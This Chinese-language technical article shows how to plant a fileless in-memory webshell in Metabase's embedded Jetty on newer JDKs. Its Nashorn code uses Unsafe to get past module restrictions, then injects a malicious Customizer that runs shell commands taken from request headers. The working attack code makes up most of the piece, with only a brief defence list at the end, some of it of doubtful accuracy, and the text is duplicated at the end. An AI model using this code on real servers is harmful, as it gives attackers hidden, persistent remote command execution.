Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现
字数 1079 2025-08-24 16:48:17

Metabase高版本JDK下嵌入式Jetty中的Customizer内存马实现技术分析

1. 背景与概述

本文详细分析在Metabase高版本JDK环境下,利用嵌入式Jetty服务器的Customizer机制实现内存Webshell的技术。Metabase作为一个独立jar包部署的应用,传统文件写入方式难以实现持久化控制,而内存马技术提供了更隐蔽的持久化攻击方式。

2. 技术挑战与突破点

2.1 Java模块化系统的限制

  • Java 9+引入了模块化系统,增加了访问控制限制
  • 传统反射方式访问ThreadGroup.threads字段会抛出异常:
    java.lang.reflect.InaccessibleObjectException: 
    Unable to make field java.lang.Thread[] java.lang.ThreadGroup.threads accessible:
    module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts
    

2.2 解决方案:Unsafe绕过

使用sun.misc.Unsafe类绕过模块系统限制:

function getunsafe() {
  var unsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  unsafe.setAccessible(true);
  return unsafe.get(null);
}

关键方法:

  • getObject(Object o, long offset): 基于内存地址直接读取属性
  • objectFieldOffset(Field f): 获取属性内存偏移地址

3. 回显马实现

3.1 获取线程上下文

var unsafe = getunsafe();
var group = java.lang.Thread.currentThread().getThreadGroup();
var f = group.getClass().getDeclaredField("threads");
var threads = unsafe.getObject(group, unsafe.objectFieldOffset(f));

3.2 定位HTTP请求对象

通过调试分析出请求对象的位置:

((HttpChannelOverHttp)((HttpConnection)((Thread)this).threadLocals.table[x].value)._channel)._request

3.3 完整回显实现

for (var i = 0; i < threads.length; i++) {
    try {
        var f = threads[i].getClass().getDeclaredField("threadLocals");
        var threadLocals = unsafe.getObject(threads[i], unsafe.objectFieldOffset(f));
        var table = unsafe.getObject(threadLocals, unsafe.objectFieldOffset(threadLocals.getClass().getDeclaredField("table")));
        for (var j = 0; j < table.length; j++) {
            try {
                var valueField = unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
                var w = valueField.getHttpChannel().getResponse().getWriter();
                w.println(exec(valueField.getHttpChannel().getRequest().getHeader("cmd")));
                w.flush();
            } catch(e) {}
        }
    } catch(e) {}
}

4. 内存马实现

4.1 Jetty Customizer机制分析

Jetty处理流程中关键代码:

public boolean handle() {
    this.dispatch(DispatcherType.REQUEST, () -> {
        Iterator var1 = this._configuration.getCustomizers().iterator();
        do {
            if (!var1.hasNext()) {
                this.getServer().handle(this);
                return;
            }
            HttpConfiguration.Customizer customizer = (HttpConfiguration.Customizer)var1.next();
            customizer.customize(this.getConnector(), this._configuration, this._request);
        } while(!this._request.isHandled());
    });
}

4.2 自定义恶意Customizer

var ProxyCustomizer = Java.extend(org.eclipse.jetty.server.HttpConfiguration.Customizer, {
    customize: function(connector, channelConfig, request) {
        if (request.getHeader("cmd1") != null) {
            request.getResponse().getWriter().println(exec(request.getHeader("cmd1")));
            request.setHandled(true);
        }
    }
});

4.3 注入Customizer

valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new ProxyCustomizer());

5. 高级利用

5.1 哥斯拉内存马适配

  • 可基于上述技术封装更复杂的功能
  • 使用Unsafe绕过限制加载恶意class

5.2 持久化机制

  • 利用Jetty配置机制实现重启后依然有效
  • 通过动态字节码技术隐藏恶意代码

6. 防御建议

  1. 模块化安全配置:

    • 限制jdk.scripting.nashorn模块权限
    • 配置--illegal-access=deny禁止非法反射
  2. Unsafe防护:

    • 添加JVM参数-XX:+DisableAttachMechanism
    • 使用SecurityManager限制Unsafe访问
  3. Jetty加固:

    • 监控HttpConfiguration的Customizer列表变更
    • 校验Customizer实现类的来源
  4. 运行时防护:

    • 部署RASP检测异常线程操作
    • 监控异常HTTP处理器注册行为

7. 总结

本文详细分析了在高版本JDK环境下,通过Unsafe绕过模块限制,利用Jetty Customizer机制实现内存马的技术方案。该技术具有高度隐蔽性,不依赖文件系统,适用于Metabase等独立jar部署环境。防御方面需要从模块权限、反射控制、运行时监控等多层面进行防护。

Metabase高版本JDK下嵌入式Jetty中的Customizer内存马实现技术分析 1. 背景与概述 本文详细分析在Metabase高版本JDK环境下,利用嵌入式Jetty服务器的Customizer机制实现内存Webshell的技术。Metabase作为一个独立jar包部署的应用,传统文件写入方式难以实现持久化控制,而内存马技术提供了更隐蔽的持久化攻击方式。 2. 技术挑战与突破点 2.1 Java模块化系统的限制 Java 9+引入了模块化系统,增加了访问控制限制 传统反射方式访问 ThreadGroup.threads 字段会抛出异常: 2.2 解决方案:Unsafe绕过 使用 sun.misc.Unsafe 类绕过模块系统限制: 关键方法: getObject(Object o, long offset) : 基于内存地址直接读取属性 objectFieldOffset(Field f) : 获取属性内存偏移地址 3. 回显马实现 3.1 获取线程上下文 3.2 定位HTTP请求对象 通过调试分析出请求对象的位置: 3.3 完整回显实现 4. 内存马实现 4.1 Jetty Customizer机制分析 Jetty处理流程中关键代码: 4.2 自定义恶意Customizer 4.3 注入Customizer 5. 高级利用 5.1 哥斯拉内存马适配 可基于上述技术封装更复杂的功能 使用Unsafe绕过限制加载恶意class 5.2 持久化机制 利用Jetty配置机制实现重启后依然有效 通过动态字节码技术隐藏恶意代码 6. 防御建议 模块化安全配置 : 限制 jdk.scripting.nashorn 模块权限 配置 --illegal-access=deny 禁止非法反射 Unsafe防护 : 添加JVM参数 -XX:+DisableAttachMechanism 使用SecurityManager限制Unsafe访问 Jetty加固 : 监控 HttpConfiguration 的Customizer列表变更 校验Customizer实现类的来源 运行时防护 : 部署RASP检测异常线程操作 监控异常HTTP处理器注册行为 7. 总结 本文详细分析了在高版本JDK环境下,通过Unsafe绕过模块限制,利用Jetty Customizer机制实现内存马的技术方案。该技术具有高度隐蔽性,不依赖文件系统,适用于Metabase等独立jar部署环境。防御方面需要从模块权限、反射控制、运行时监控等多层面进行防护。